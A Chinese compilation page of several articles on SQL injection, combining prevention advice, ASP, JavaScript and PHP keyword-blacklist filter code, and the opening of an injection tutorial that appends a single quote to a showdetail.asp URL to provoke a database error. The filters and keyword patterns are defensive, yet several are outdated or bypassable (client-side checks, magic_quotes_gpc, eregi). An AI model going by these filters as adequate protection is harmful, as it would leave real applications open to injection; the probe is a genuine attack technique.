如何防止SQL注入 归纳一下,主要有以下几点: 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装 防止SQL注入攻击的一些方法2010-03-15 17:58SQL注入被那些菜鸟级别的所谓黑客高手玩出了滋味,发现现在大部分黑客入侵都是基于sql注入实现的,哎,谁让这个入门容易呢,好了,不说废话了,现在我开始说如何编写通用的sql防注入程序。 一般的http请求不外乎get 和post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http请求信息过滤就可以判断是是否受到sql 注入攻击。 iis传递给asp.dll的get请求是是以字符串的形式,当传递给Request.QueryString数据后,asp解析器会分析Request.QueryString的信息,然后根据"&",分出各个数组内的数据。 所以get的拦截如下,首先我们定义请求中不能包含如下字符: '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare 各个字符用"|"隔开,然后我们判断的得到的Request.QueryString。具体代码如下: dim sql_injdata SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|") If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DA TA))>0 Then Response.Write "" Response.end end if next Next End If 这样我们就实现了get请求的注入的拦截,但是我们还要过滤post请求,所以我们还得继续考虑request.form,这个也是以数组形式存在的,我们只需要再进一次循环判断即可。 代码如下 If Request.Form<>"" Then For Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DA TA))>0 Then Response.Write "" Response.end end if next next

SQL注入原理

sql注入攻击原理及攻防 2008-01-14 20:11 6529人阅读评论(16) 收藏举报随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/b13746615.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

JS代码防止SQL注入的方法(超简单)

下面通过两个方面给大家介绍js代码防止sql注入的方法,非常简单实用,感兴趣的朋友参考下吧 1.URL地址防注入: //过滤URL非法SQL字符 var sUrl=location.search.toLowerCase(); var sQuery=sUrl.substring(sUrl.indexOf("=")+1); re=/select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>|<|%/i; if(re.test(sQuery)) { alert("请勿输入非法字符"); location.href=sUrl.replace(sQuery,""); } 2.输入文本框防注入: /防止SQL注入 function AntiSqlValid(oField ) { re= /select|update|delete|exec|count|'|"|=|;|>|<|%/i; if ( re.test(oField.value) ) { //alert("请您不要在参数中输入特殊字符和SQL关键字!"); //注意中文乱码 oField.value = "; oField.className="errInfo"; oField.focus(); return false; } 在需要防注入的输入文本框添加如下方法 txtName.Attributes.Add("onblur", "AntiSqlValid(this)");//防止Sql脚本注入 关于JS代码防止SQL注入的方法小编就给大家介绍这么多,希望对大家有所帮助!

SQL注入原理,只懂的扫描的菜鸟必看

SQL注入原理 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/b13746615.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest. com/showdetail.asp?id=49,我们在这个地址后面加上单引号?,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2. 程序没有判断客户端提交的数据是否符合程序要求。 3. 该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

最全防止sql注入方法

(1)mysql_real_escape_string -- 转义SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: 1.$sql ="select count(*) as ctr from users where username 2.='".mysql_real_escape_string($username)."' and 3.password='". mysql_real_escape_string($pw)."' limit 1"; 使用mysql_real_escape_string()作为用户输入的包装器,就可以避免用户输入中的任何恶意SQL 注入。 (2)打开magic_quotes_gpc来防止SQL注入 php.ini中有一个设置:magic_quotes_gpc = Off 这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换, 比如把' 转为\'等,对于防止sql注射有重大作用。 如果magic_quotes_gpc=Off,则使用addslashes()函数 (3)自定义函数 1.function inject_check($sql_str){ 2.return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/| union|into|load_file|outfile', $sql_str); 3.} 4. 5.function verify_id($id=null){ 6.if(!$id){ 7.exit('没有提交参数!'); 8.} elseif(inject_check($id)){ 9.exit('提交的参数非法!'); 10.} elseif(!is_numeric($id)){ 11.exit('提交的参数非法!'); 12.} 13. $id = intval($id); 14. 15.return $id;

相关主题
相关文档
最新文档